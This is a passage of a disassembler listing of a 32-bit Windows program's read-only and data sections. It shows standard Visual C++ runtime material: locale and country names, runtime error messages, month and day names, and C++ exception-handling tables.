loc_42DB10 dd offset loc_42DB16 dword_43D388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42DB70+5o dd offset j_?terminate@@YAXXZ ; terminate(void) align 8 dd offset loc_42DBBC dd offset loc_42DBC2 aLc_time db 'LC_TIME',0 ; DATA XREF: .data:0045440Co aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .data:00454400o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .data:004543F4o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .data:004543E8o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:004543DCo align 4 aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_4543D0o align 10h ; char asc_43D3E0[] asc_43D3E0 db ';',0 ; DATA XREF: _setlocale:loc_42DEA3o ; __setlocale_get_all+83o align 4 asc_43D3E4 db '=;',0 ; DATA XREF: _setlocale:loc_42DDD1o align 4 aSetlocal_c db 'setlocal.c',0 ; DATA XREF: __setlocale_set_cat+3Eo ; __setlocale_get_all+1Bo align 4 asc_43D3F4: ; DATA XREF: __setlocale_get_all+5Bo unicode 0, <=>,0 ; char Control[] Control db '_.,',0 ; DATA XREF: ___lc_strtolc:loc_42E5E2o ; char a__4[] a__4: ; DATA XREF: ___lc_lctostr+50o ; ___init_numeric:loc_43474Bo unicode 0, <.>,0 a__5: ; DATA XREF: ___lc_lctostr+25o unicode 0, <_>,0 aFtell_c db 'ftell.c',0 ; DATA XREF: _ftell+16o __ftell_lk+18o dword_43D40C dd 0 ; DATA XREF: ___crtLCMapStringA+5Do ; ___crtGetStringTypeA+58o ... dword_43D410 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+35o ; ___crtGetStringTypeA+35o ... dword_43D418 dd 0FFFFFFFFh ; DATA XREF: ___crtLCMapStringA+5o dd offset loc_42EFF6 dd offset loc_42EFFC dd 0FFFFFFFFh dd offset loc_42F0EC dd offset loc_42F0F2 aStdenvp_c db 'stdenvp.c',0 ; DATA XREF: __setenvp+5Bo ; __setenvp+D0o align 4 aStdargv_c db 'stdargv.c',0 ; DATA XREF: __setargv+72o align 4 aA_env_c db 'a_env.c',0 ; DATA XREF: ___crtGetEnvironmentStringsA+E8o ; ___crtGetEnvironmentStringsA+1C6o aIoinit_c db 'ioinit.c',0 ; DATA XREF: __ioinit+Bo __ioinit+106o align 4 aRuntimeError db 'runtime error ',0 ; DATA XREF: .data:00454554o align 4 asc_43D46C db 0Dh,0Ah,0 ; DATA XREF: .data:0045454Co align 10h aTlossError db 'TLOSS error',0Dh,0Ah,0 ; DATA XREF: .data:00454544o align 10h aSingError db 'SING error',0Dh,0Ah,0 ; DATA XREF: .data:0045453Co align 10h aDomainError db 'DOMAIN error',0Dh,0Ah,0 ; DATA XREF: .data:00454534o align 10h aR6028UnableToI db 'R6028',0Dh,0Ah ; DATA XREF: .data:0045452Co db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah ; DATA XREF: .data:00454524o db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah ; DATA XREF: .data:0045451Co db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah ; DATA XREF: .data:00454514o db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah ; DATA XREF: .data:0045450Co db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah ; DATA XREF: .data:00454504o db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah ; DATA XREF: .data:004544FCo db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah ; DATA XREF: .data:004544F4o db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah ; DATA XREF: .data:004544ECo db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah ; DATA XREF: .data:004544E4o db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah ; DATA XREF: .data:004544DCo db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah ; DATA XREF: .data:004544D4o db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_4544CCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+1A4o align 10h ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE:loc_4302DAo db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: .text:004308B1o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA:loc_430D4Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: __alloc_osfhnd+138o align 8 dword_43D778 dd 0FFFFFFFFh ; DATA XREF: ___crtGetStringTypeA+5o dd offset loc_4315B4 dd offset loc_4315BA a_getbuf_c db '_getbuf.c',0 ; DATA XREF: __getbuf+16o __getbuf+48o align 10h aMbtowc_c db 'mbtowc.c',0 ; DATA XREF: __mbtowc_lk+21o align 4 ; char aMb_cur_max1Mb_[] aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: __mbtowc_lk+18o align 10h aUngetc_c db 'ungetc.c',0 ; DATA XREF: _ungetc+16o _ungetc_0+16o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: __tzset_lk+1D1o ; char VarName[] VarName db 'TZ',0 ; DATA XREF: __tzset_lk+35o align 4 aInittime_c db 'inittime.c',0 ; DATA XREF: ___init_time+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: ___init_numeric+1CFo ; ___init_numeric+215o ... align 10h aInitmon_c db 'initmon.c',0 ; DATA XREF: ___init_monetary+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: unknown_libname_28+52o ; unknown_libname_28+6Bo ... align 4 aParaguay db 'Paraguay',0 ; DATA XREF: .data:00454B4Co align 4 aUruguay db 'Uruguay',0 ; DATA XREF: .data:00454B20o aChile db 'Chile',0 ; DATA XREF: .data:00454AF4o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: .data:00454AC8o aArgentina db 'Argentina',0 ; DATA XREF: .data:00454A9Co align 4 aPeru db 'Peru',0 ; DATA XREF: .data:00454A70o align 10h aColombia db 'Colombia',0 ; DATA XREF: .data:00454A44o align 4 aVenezuela db 'Venezuela',0 ; DATA XREF: .data:00454A18o align 4 aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:004549ECo align 4 aSouthAfrica db 'South Africa',0 ; DATA XREF: .data:004549C0o align 4 aPanama db 'Panama',0 ; DATA XREF: .data:00454994o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: .data:00454968o align 10h aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:0045493Co align 4 aSwitzerland db 'Switzerland',0 ; DATA XREF: .data:00454910o aGuatemala db 'Guatemala',0 ; DATA XREF: .data:004548E4o align 4 aCanada db 'Canada',0 ; DATA XREF: .data:004548B8o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00454884o align 4 aAustralia db 'Australia',0 ; DATA XREF: .data:00454860o align 10h aEnglish db 'English',0 ; DATA XREF: .data:00454858o ; .data:004549B8o aAustria db 'Austria',0 ; DATA XREF: .data:00454834o aGerman db 'German',0 ; DATA XREF: .data:0045482Co align 4 aBelgium db 'Belgium',0 ; DATA XREF: .data:00454808o aMexico db 'Mexico',0 ; DATA XREF: .data:004547DCo align 4 aSpanish db 'Spanish',0 ; DATA XREF: .data:004547D4o ; .data:004548DCo ... aBasque db 'Basque',0 ; DATA XREF: .data:004547A8o align 4 aSweden db 'Sweden',0 ; DATA XREF: .data:00454784o align 10h aSwedish db 'Swedish',0 ; DATA XREF: .data:0045477Co aIceland db 'Iceland',0 ; DATA XREF: .data:00454758o aIcelandic db 'Icelandic',0 ; DATA XREF: .data:00454750o align 4 aFrance db 'France',0 ; DATA XREF: .data:0045472Co align 4 aFrench db 'French',0 ; DATA XREF: .data:00454724o ; .data:00454800o ... align 4 aFinland db 'Finland',0 ; DATA XREF: .data:00454700o aFinnish db 'Finnish',0 ; DATA XREF: .data:004546F8o aSpain db 'Spain',0 ; DATA XREF: .data:off_4546D4o ; .data:004547B0o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_4546CCo align 10h aUnitedStates db 'united-states',0 ; DATA XREF: .data:00454C20o align 10h aUnitedKingdom db 'united-kingdom',0 ; DATA XREF: .data:00454C18o align 10h aTrinidadTobago db 'trinidad & tobago',0 ; DATA XREF: .data:00454C08o align 4 aSouthKorea db 'south-korea',0 ; DATA XREF: .data:00454C00o aSouthAfrica_0 db 'south-africa',0 ; DATA XREF: .data:00454BF8o align 10h aSouthKorea_0 db 'south korea',0 ; DATA XREF: .data:00454BF0o aSouthAfrica_1 db 'south africa',0 ; DATA XREF: .data:00454BE8o align 4 aSlovak db 'slovak',0 ; DATA XREF: .data:00454BE0o align 4 aPuertoRico db 'puerto-rico',0 ; DATA XREF: .data:00454BD8o aPrChina db 'pr-china',0 ; DATA XREF: .data:00454BD0o align 4 aPrChina_0 db 'pr china',0 ; DATA XREF: .data:00454BC8o align 4 aNz db 'nz',0 ; DATA XREF: .data:00454BC0o align 4 aNewZealand db 'new-zealand',0 ; DATA XREF: .data:00454BB8o aHongKong db 'hong-kong',0 ; DATA XREF: .data:00454BB0o align 4 aHolland db 'holland',0 ; DATA XREF: .data:00454BA8o aGreatBritain db 'great britain',0 ; DATA XREF: .data:00454BA0o align 4 aEngland db 'england',0 ; DATA XREF: .data:00454B98o aCzech db 'czech',0 ; DATA XREF: .data:00454B90o align 4 aChina db 'china',0 ; DATA XREF: .data:00454B88o align 4 aBritain db 'britain',0 ; DATA XREF: .data:00454B80o aAmerica db 'america',0 ; DATA XREF: .data:off_454B78o aUsa db 'usa',0 ; DATA XREF: .data:00454E30o aUs db 'us',0 ; DATA XREF: .data:00454C28o ; .data:00454E28o align 4 aUk db 'uk',0 ; DATA XREF: .data:00454C10o ; .data:00454E20o align 10h aSwiss db 'swiss',0 ; DATA XREF: .data:00454E18o align 4 aSwedishFinland db 'swedish-finland',0 ; DATA XREF: .data:00454E10o aSpanishVenezue db 'spanish-venezuela',0 ; DATA XREF: .data:00454E08o align 4 aSpanishUruguay db 'spanish-uruguay',0 ; DATA XREF: .data:00454E00o aSpanishPuertoR db 'spanish-puerto rico',0 ; DATA XREF: .data:00454DF8o aSpanishPeru db 'spanish-peru',0 ; DATA XREF: .data:00454DF0o align 10h aSpanishParagua db 'spanish-paraguay',0 ; DATA XREF: .data:00454DE8o align 4 aSpanishPanama db 'spanish-panama',0 ; DATA XREF: .data:00454DE0o align 4 aSpanishNicarag db 'spanish-nicaragua',0 ; DATA XREF: .data:00454DD8o align 4 aSpanishModern db 'spanish-modern',0 ; DATA XREF: .data:00454DD0o align 4 aSpanishMexican db 'spanish-mexican',0 ; DATA XREF: .data:00454DC8o aSpanishHondura db 'spanish-honduras',0 ; DATA XREF: .data:00454DC0o align 4 aSpanishGuatema db 'spanish-guatemala',0 ; DATA XREF: .data:00454DB8o align 10h aSpanishElSalva db 'spanish-el salvador',0 ; DATA XREF: .data:00454DB0o aSpanishEcuador db 'spanish-ecuador',0 ; DATA XREF: .data:00454DA8o aSpanishDominic db 'spanish-dominican republic',0 ; DATA XREF: .data:00454DA0o align 10h aSpanishCostaRi db 'spanish-costa rica',0 ; DATA XREF: .data:00454D98o align 4 aSpanishColombi db 'spanish-colombia',0 ; DATA XREF: .data:00454D90o align 4 aSpanishChile db 'spanish-chile',0 ; DATA XREF: .data:00454D88o align 4 aSpanishBolivia db 'spanish-bolivia',0 ; DATA XREF: .data:00454D80o aSpanishArgenti db 'spanish-argentina',0 ; DATA XREF: .data:00454D78o align 4 aPortugueseBraz db 'portuguese-brazilian',0 ; DATA XREF: .data:00454D70o align 4 aNorwegianNynor db 'norwegian-nynorsk',0 ; DATA XREF: .data:00454D68o align 4 aNorwegianBokma db 'norwegian-bokmal',0 ; DATA XREF: .data:00454D60o align 4 aNorwegian db 'norwegian',0 ; DATA XREF: .data:00454D58o align 4 aItalianSwiss db 'italian-swiss',0 ; DATA XREF: .data:00454D50o align 4 aIrishEnglish db 'irish-english',0 ; DATA XREF: .data:00454D48o align 4 aGermanSwiss db 'german-swiss',0 ; DATA XREF: .data:00454D40o align 4 aGermanLuxembou db 'german-luxembourg',0 ; DATA XREF: .data:00454D38o align 4 aGermanLichtens db 'german-lichtenstein',0 ; DATA XREF: .data:00454D30o aGermanAustrian db 'german-austrian',0 ; DATA XREF: .data:00454D28o aFrenchSwiss db 'french-swiss',0 ; DATA XREF: .data:00454D20o align 10h aFrenchLuxembou db 'french-luxembourg',0 ; DATA XREF: .data:00454D18o align 4 aFrenchCanadian db 'french-canadian',0 ; DATA XREF: .data:00454D10o aFrenchBelgian db 'french-belgian',0 ; DATA XREF: .data:00454D08o align 4 aEnglishUsa db 'english-usa',0 ; DATA XREF: .data:00454D00o aEnglishUs db 'english-us',0 ; DATA XREF: .data:00454CF8o align 4 aEnglishUk db 'english-uk',0 ; DATA XREF: .data:00454CF0o align 4 aEnglishTrinida db 'english-trinidad y tobago',0 ; DATA XREF: .data:00454CE8o align 4 aEnglishSouthAf db 'english-south africa',0 ; DATA XREF: .data:00454CE0o align 4 aEnglishNz db 'english-nz',0 ; DATA XREF: .data:00454CD8o align 4 aEnglishJamaica db 'english-jamaica',0 ; DATA XREF: .data:00454CD0o aEnglishIre db 'english-ire',0 ; DATA XREF: .data:00454CC8o aEnglishCaribbe db 'english-caribbean',0 ; DATA XREF: .data:00454CC0o align 4 aEnglishCan db 'english-can',0 ; DATA XREF: .data:00454CB8o aEnglishBelize db 'english-belize',0 ; DATA XREF: .data:00454CB0o align 4 aEnglishAus db 'english-aus',0 ; DATA XREF: .data:00454CA8o aEnglishAmerica db 'english-american',0 ; DATA XREF: .data:00454CA0o align 4 aDutchBelgian db 'dutch-belgian',0 ; DATA XREF: .data:00454C98o align 4 aChineseTraditi db 'chinese-traditional',0 ; DATA XREF: .data:00454C90o aChineseSingapo db 'chinese-singapore',0 ; DATA XREF: .data:00454C88o align 4 aChineseSimplif db 'chinese-simplified',0 ; DATA XREF: .data:00454C80o align 10h aChineseHongkon db 'chinese-hongkong',0 ; DATA XREF: .data:00454C78o align 4 aChinese db 'chinese',0 ; DATA XREF: .data:00454C70o aChi db 'chi',0 ; DATA XREF: .data:00454C68o aChh db 'chh',0 ; DATA XREF: .data:00454C60o aCanadian db 'canadian',0 ; DATA XREF: .data:00454C58o align 10h aBelgian db 'belgian',0 ; DATA XREF: .data:00454C50o aAustralian db 'australian',0 ; DATA XREF: .data:00454C48o align 4 aAmericanEnglis db 'american-english',0 ; DATA XREF: .data:00454C40o align 4 aAmericanEngl_0 db 'american english',0 ; DATA XREF: .data:00454C38o align 4 aAmerican db 'american',0 ; DATA XREF: .data:off_454C30o align 4 ; char aOcp[] aOcp db 'OCP',0 ; DATA XREF: _ProcessCodePage:loc_435AB3o ; char aAcp[] aAcp db 'ACP',0 ; DATA XREF: _ProcessCodePage+16o aChsize_c db 'chsize.c',0 ; DATA XREF: __chsize_lk+38o align 4 ; char aSize0[] aSize0 db 'size >= 0',0 ; DATA XREF: __chsize_lk+2Co align 4 ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_43738Fo align 10h ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+19Bo align 4 ; char a1Ind[] a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+168o align 10h ; char a1Snan[] a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+125o align 4 aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00454EE8o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00454EE4o aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00454EE0o align 4 aPm_2 db 'PM',0 ; DATA XREF: .data:00454EDCo align 10h aAm_0 db 'AM',0 ; DATA XREF: .data:00454ED8o align 4 aDecember db 'December',0 ; DATA XREF: .data:00454ED4o align 10h aNovember db 'November',0 ; DATA XREF: .data:00454ED0o align 4 aOctober db 'October',0 ; DATA XREF: .data:00454ECCo aSeptember db 'September',0 ; DATA XREF: .data:00454EC8o align 10h aAugust db 'August',0 ; DATA XREF: .data:00454EC4o align 4 aJuly db 'July',0 ; DATA XREF: .data:00454EC0o align 10h aJune db 'June',0 ; DATA XREF: .data:00454EBCo align 4 aApril db 'April',0 ; DATA XREF: .data:00454EB4o align 10h aMarch db 'March',0 ; DATA XREF: .data:00454EB0o align 4 aFebruary db 'February',0 ; DATA XREF: .data:00454EACo align 4 aJanuary db 'January',0 ; DATA XREF: .data:00454EA8o aDec db 'Dec',0 ; DATA XREF: .data:00454EA4o aNov db 'Nov',0 ; DATA XREF: .data:00454EA0o aOct db 'Oct',0 ; DATA XREF: .data:00454E9Co aSep db 'Sep',0 ; DATA XREF: .data:00454E98o aAug db 'Aug',0 ; DATA XREF: .data:00454E94o aJul db 'Jul',0 ; DATA XREF: .data:00454E90o aJun db 'Jun',0 ; DATA XREF: .data:00454E8Co aMay db 'May',0 ; DATA XREF: .data:00454E88o ; .data:00454EB8o aApr db 'Apr',0 ; DATA XREF: .data:00454E84o aMar db 'Mar',0 ; DATA XREF: .data:00454E80o aFeb db 'Feb',0 ; DATA XREF: .data:00454E7Co aJan db 'Jan',0 ; DATA XREF: .data:00454E78o aSaturday db 'Saturday',0 ; DATA XREF: .data:00454E74o align 4 aFriday db 'Friday',0 ; DATA XREF: .data:00454E70o align 10h aThursday db 'Thursday',0 ; DATA XREF: .data:00454E6Co align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .data:00454E68o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .data:00454E64o aMonday db 'Monday',0 ; DATA XREF: .data:00454E60o align 4 aSunday db 'Sunday',0 ; DATA XREF: .data:00454E5Co align 10h aSat db 'Sat',0 ; DATA XREF: .data:00454E58o aFri db 'Fri',0 ; DATA XREF: .data:00454E54o aThu db 'Thu',0 ; DATA XREF: .data:00454E50o aWed db 'Wed',0 ; DATA XREF: .data:00454E4Co aTue db 'Tue',0 ; DATA XREF: .data:00454E48o aMon db 'Mon',0 ; DATA XREF: .data:00454E44o aSun db 'Sun',0 ; DATA XREF: .data:off_454E40o ; char aAP[] aAP db 'a/p',0 ; DATA XREF: __store_winword:loc_438933o ; char aAmPm[] aAmPm db 'am/pm',0 ; DATA XREF: __store_winword:loc_438913o align 4 aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_438C60+9Co ; sub_438C60+F1o align 8 dword_43E048 dd 0FFFFFFFFh ; DATA XREF: ___crtGetStringTypeW+5o dd offset loc_439027 dd offset loc_43902D dd 0FFFFFFFFh dd offset loc_4390A6 dd offset loc_4390AC aWtombenv_c db 'wtombenv.c',0 ; DATA XREF: ___wtomb_environ+44o align 10h dword_43E070 dd 0FFFFFFFFh ; DATA XREF: ___crtGetLocaleInfoW+5o dd offset loc_439ADD dd offset loc_439AE3 align 10h dword_43E080 dd 0FFFFFFFFh ; DATA XREF: ___crtGetLocaleInfoA+5o dd offset loc_439C7F dd offset loc_439C85 aA_cmp_c db 'a_cmp.c',0 ; DATA XREF: ___crtCompareStringA+17Fo ; char aCchcount10Cchc[] aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: ___crtCompareStringA:loc_439EA3o align 8 dword_43E0D8 dd 0FFFFFFFFh ; DATA XREF: ___crtCompareStringA+5o dd offset loc_43A00F dd offset loc_43A015 dd 0FFFFFFFFh dd offset loc_43A0AD dd offset loc_43A0B3 aSetenv_c db 'setenv.c',0 ; DATA XREF: ___crtsetenv+B2o ; ___crtsetenv+F2o ... align 4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_43A6C0+1Fo dd offset dword_43E208 off_43E110 dd offset sub_43A840 ; DATA XREF: sub_43A720+44o ; sub_43A7E0+1Fo ... dd offset sub_43A790 ; ?what@runtime_error@std@@UBEPBDXZ ; doubtful name dd offset sub_43A7B0 dd offset dword_43E258 off_43E120 dd offset sub_43A960 ; DATA XREF: sub_43A870+16o ; sub_43A910+Ao ... dd offset sub_43A790 ; ?what@runtime_error@std@@UBEPBDXZ ; doubtful name dd offset sub_43A930 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_43A9C0+1Fo dd offset dword_43E2A8 off_43E148 dd offset sub_43AAA0 ; DATA XREF: sub_43AA20+16o ; sub_43AA50+Ao ... dd offset sub_43A790 ; ?what@runtime_error@std@@UBEPBDXZ ; doubtful name dd offset sub_43AA70 dd offset dword_43E2D8 off_43E158 dd offset ??_Gexception@@UAEPAXI@Z ; DATA XREF: .text:0043B15Ao ; exception::exception(char const * const &)+Co ... ; exception::`scalar deleting destructor'(uint) dd offset ?what@exception@@UBEPBDXZ ; exception::what(void) aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: exception::what(void):loc_43B338o align 4 dd offset dword_43E320 off_43E178 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)+Ao ; type_info::type_info(type_info const &)+Ao ... ; type_info::`scalar deleting destructor'(uint) align 10h dword_43E180 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Do dd 3, 19930520h, 2 dup(0) dword_43E1A0 dd 0FFFFFFFFh ; DATA XREF: ___crtLCMapStringW+5o dd offset loc_43B7BF dd offset loc_43B7C5 dd 0FFFFFFFFh dd offset loc_43B864 dd offset loc_43B86A off_43E1B8 dd offset off_4551F0 ; DATA XREF: .rdata:0043E1ECo ; .rdata:0043E240o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_43E1D0 dd offset off_455208 ; DATA XREF: .rdata:off_43E1E8o ; .rdata:0043E23Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_43E1E8 dd offset off_43E1D0 ; DATA XREF: .rdata:0043E204o dd offset off_43E1B8 dword_43E1F0 dd 4 dup(0) ; DATA XREF: .rdata:0043E218o dd 2 dd offset off_43E1E8 dword_43E208 dd 3 dup(0) ; DATA XREF: .rdata:0043E10Co dd offset off_455208 dd offset dword_43E1F0+8 align 10h off_43E220 dd offset off_455228 ; DATA XREF: .rdata:off_43E238o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) off_43E238 dd offset off_43E220 ; DATA XREF: .rdata:0043E254o dd offset off_43E1D0 dd offset off_43E1B8 dd 0 db 0 ; DATA XREF: .rdata:0043E268o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3 dd offset off_43E238 dword_43E258 dd 3 dup(0) ; DATA XREF: .rdata:0043E11Co dd offset off_455228 dd offset unk_43E248 align 10h off_43E270 dd offset off_455248 ; DATA XREF: .rdata:off_43E288o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) off_43E288 dd offset off_43E270 ; DATA XREF: .rdata:0043E2A4o dd offset off_43E1D0 dd offset off_43E1B8 dd 0 db 0 ; DATA XREF: .rdata:0043E2B8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3 dd offset off_43E288 dword_43E2A8 dd 3 dup(0) ; DATA XREF: .rdata:0043E144o dd offset off_455248 dd offset unk_43E298 off_43E2BC dd offset off_43E1B8 ; DATA XREF: .rdata:0043E2D4o dword_43E2C0 dd 4 dup(0) ; DATA XREF: .rdata:0043E2E8o dd 1 dd offset off_43E2BC dword_43E2D8 dd 3 dup(0) ; DATA XREF: .rdata:0043E154o dd offset off_4551F0 dd offset dword_43E2C0+8 align 10h off_43E2F0 dd offset off_455268 ; DATA XREF: .rdata:off_43E308o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_43E308 dd offset off_43E2F0 ; DATA XREF: .rdata:0043E31Co dword_43E30C dd 3 dup(0) ; DATA XREF: .rdata:0043E330o dd 1 dd offset off_43E308 dword_43E320 dd 3 dup(0) ; DATA XREF: .rdata:0043E174o dd offset off_455268 dd offset dword_43E30C+4 align 8 dword_43E338 dd 19930520h, 2 ; DATA XREF: .text:loc_43BA8Fo dd offset dword_43E358 dd 5 dup(0) dword_43E358 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E340o dd offset sub_43BA78 dd 0 dd offset sub_43BA70 dword_43E368 dd 19930520h, 2 ; DATA XREF: .text:loc_43BAA9o dd offset dword_43E388 dd 5 dup(0) dword_43E388 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E370o dd offset sub_43BA99 dd 0 dd offset sub_43BAA1 dword_43E398 dd 19930520h, 2 ; DATA XREF: .text:loc_43BAB4o dd offset dword_43E3B8 dd 1 dd offset dword_43E3C8 dd 3 dup(0) dword_43E3B8 dd 0FFFFFFFFh, 0 ; DATA XREF: .rdata:0043E3A0o dd 0FFFFFFFFh, 0 dword_43E3C8 dd 2 dup(0) ; DATA XREF: .rdata:0043E3A8o dd 2 dup(1) dd offset dword_43E3E0 align 10h dword_43E3E0 dd 3 dup(0) ; DATA XREF: .rdata:0043E3D8o dd offset loc_40E1B5 dword_43E3F0 dd 0 ; DATA XREF: .rdata:0043E45Co ; .rdata:0043E4C8o ... dd offset off_4551F0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch dd offset ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) dword_43E40C dd 2 dup(0) ; DATA XREF: .rdata:0043E458o ; .rdata:0043E4C4o ... dd offset off_455208 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch dd offset sub_43A720 dword_43E42C dd 2 dup(0) ; DATA XREF: .rdata:0043E454o dd offset off_455228 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch dd offset sub_43A990 align 10h dword_43E450 dd 3 ; DATA XREF: .rdata:0043E46Co dd offset dword_43E42C+4 dd offset dword_43E40C+4 dd offset dword_43E3F0 dword_43E460 dd 0 ; DATA XREF: sub_43A6C0+3Fo ; sub_43A930+15o dd offset sub_43A910 dd 0 dd offset dword_43E450 dword_43E470 dd 19930520h, 1 ; DATA XREF: SEH_43A6C0o dd offset dword_43E490 dd 5 dup(0) dword_43E490 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E478o dd offset sub_43BAC0 dword_43E498 dd 19930520h, 1 ; DATA XREF: SEH_43A720o dd offset dword_43E4B8 dd 5 dup(0) dword_43E4B8 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E4A0o dd offset sub_43BAE0 dword_43E4C0 dd 2 ; DATA XREF: .rdata:0043E4DCo dd offset dword_43E40C+4 dd offset dword_43E3F0 align 10h dword_43E4D0 dd 0 ; DATA XREF: sub_43A7B0+15o dd offset sub_43A7E0 dd 0 dd offset dword_43E4C0 dword_43E4E0 dd 19930520h, 1 ; DATA XREF: SEH_43A7E0o dd offset dword_43E500 dd 5 dup(0) dword_43E500 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E4E8o dd offset sub_43BB00 dword_43E508 dd 19930520h, 1 ; DATA XREF: SEH_43A8A0o dd offset dword_43E528 dd 5 dup(0) dword_43E528 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E510o dd offset sub_43BB20 dword_43E530 dd 0 ; DATA XREF: .rdata:0043E554o dd offset off_455248 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch dd offset sub_43AAD0 align 10h dword_43E550 dd 3 ; DATA XREF: .rdata:0043E56Co dd offset dword_43E530 dd offset dword_43E40C+4 dd offset dword_43E3F0 dword_43E560 dd 0 ; DATA XREF: sub_43A9C0+3Fo ; sub_43AA70+15o dd offset sub_43AA50 dd 0 dd offset dword_43E550 dword_43E570 dd 19930520h, 1 ; DATA XREF: SEH_43A9C0o dd offset dword_43E590 dd 5 dup(0) dword_43E590 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E578o dd offset sub_43BB40 _rdata ends ; Section 3. (virtual address 0003F000) ; Virtual size : 000B5C3D ( 744509.) ; Section size in file : 000B5C3D ( 744509.) ; Offset to raw data for section: 0003F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 43F000h dword_43F000 dd 0 ; DATA XREF: __cinit+29o dd offset loc_4013FF dd offset sub_40DCBD dd offset sub_40E2C6 dd offset sub_40F144 dd offset unknown_libname_35 ; Microsoft VisualC 2-8/net runtime dword_43F018 dd 0 ; DATA XREF: __cinit+24o dword_43F01C dd 0 ; DATA XREF: __cinit+17o dd offset ___onexitinit dd offset ___initstdio dd offset ___initmbctable dd offset ?__CxxSetUnhandledExceptionFilter@@YAXXZ ; __CxxSetUnhandledExceptionFilter(void) dword_43F030 dd 0 ; DATA XREF: __cinit:loc_41EAD2o dword_43F034 dd 0 ; DATA XREF: 